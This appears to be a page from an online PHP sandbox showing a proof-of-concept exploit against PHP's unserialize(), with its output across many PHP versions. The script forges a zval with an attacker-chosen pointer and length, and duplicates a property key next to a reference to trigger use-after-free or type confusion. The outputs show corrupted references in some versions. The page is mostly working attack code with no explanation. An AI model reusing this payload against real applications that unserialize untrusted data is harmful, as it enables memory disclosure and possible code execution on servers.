<?php
$base = 0xb788;
function ptr2str($ptr)
{
$out = "";
for ($i=0; $i<8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
$zval = ptr2str($base);// zvalue_value value; /* value */
$zval .= ptr2str(0xf);
$zval .= "\x00\x00\x00\x00";// zend_uint refcount__gc;
//$zval .= ptr2str(0);
$zval .= "\x06";// zend_uchar type; /* active type */
//$zval .= ptr2str(0x6);
$zval .= "\x00";// zend_uchar is_ref__gc;
$zval .= ptr2str(0);
$zval .= ptr2str(0);
$zval .= ptr2str(0);
$zval .= 'AA';
$m = new StdClass();
$u = 'AAAA';
$m->aaa = array(1,2,&$u,4,5);
$m->bbb = 1;
$m->ddd = array(1,2,$zval);
$m->ccc = &$u;
$z = serialize($m);
$z = str_replace("bbb", "aaa", $z);
var_dump($z);
$y = unserialize($z);
var_dump($y);
- Output for 5.0.4 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.8, 5.4.36 - 5.4.45, 5.5.24 - 5.5.35, 5.6.8 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.25, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.19, 8.3.0 - 8.3.7
- string(202) "O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:4:"AAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ddd";a:3:{i:0;i:1;i:1;i:2;i:2;s:48:"�� AA";}s:3:"ccc";R:5;}"
object(stdClass)#2 (3) {
["aaa"]=>
int(1)
["ddd"]=>
array(3) {
[0]=>
int(1)
[1]=>
int(2)
[2]=>
string(48) "�� AA"
}
["ccc"]=>
string(4) "AAAA"
}
- Output for 5.0.0 - 5.0.3, 5.3.9 - 5.3.29, 5.4.0 - 5.4.35
- string(202) "O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:4:"AAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ddd";a:3:{i:0;i:1;i:1;i:2;i:2;s:48:"�� AA";}s:3:"ccc";R:5;}"
object(stdClass)#2 (3) {
["aaa"]=>
int(1)
["ddd"]=>
array(3) {
[0]=>
int(1)
[1]=>
&int(2)
[2]=>
string(48) "�� AA"
}
["ccc"]=>
&int(2)
}
- Output for 4.3.11, 4.4.0 - 4.4.9
- string(202) "O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:4:"AAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ddd";a:3:{i:0;i:1;i:1;i:2;i:2;s:48:"�� AA";}s:3:"ccc";R:5;}"
object(stdClass)(3) {
["aaa"]=>
int(1)
["ddd"]=>
array(3) {
[0]=>
int(1)
[1]=>
int(2)
[2]=>
string(48) "�� AA"
}
["ccc"]=>
string(4) "AAAA"
}
- Output for 4.3.0 - 4.3.10
- string(202) "O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:4:"AAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ddd";a:3:{i:0;i:1;i:1;i:2;i:2;s:48:"�� AA";}s:3:"ccc";R:5;}"
object(stdClass)(3) {
["aaa"]=>
int(1)
["ddd"]=>
array(3) {
[0]=>
int(1)
[1]=>
&int(2)
[2]=>
string(48) "�� AA"
}
["ccc"]=>
&int(2)
}
preferences:
244.25 ms | 402 KiB | 328 Q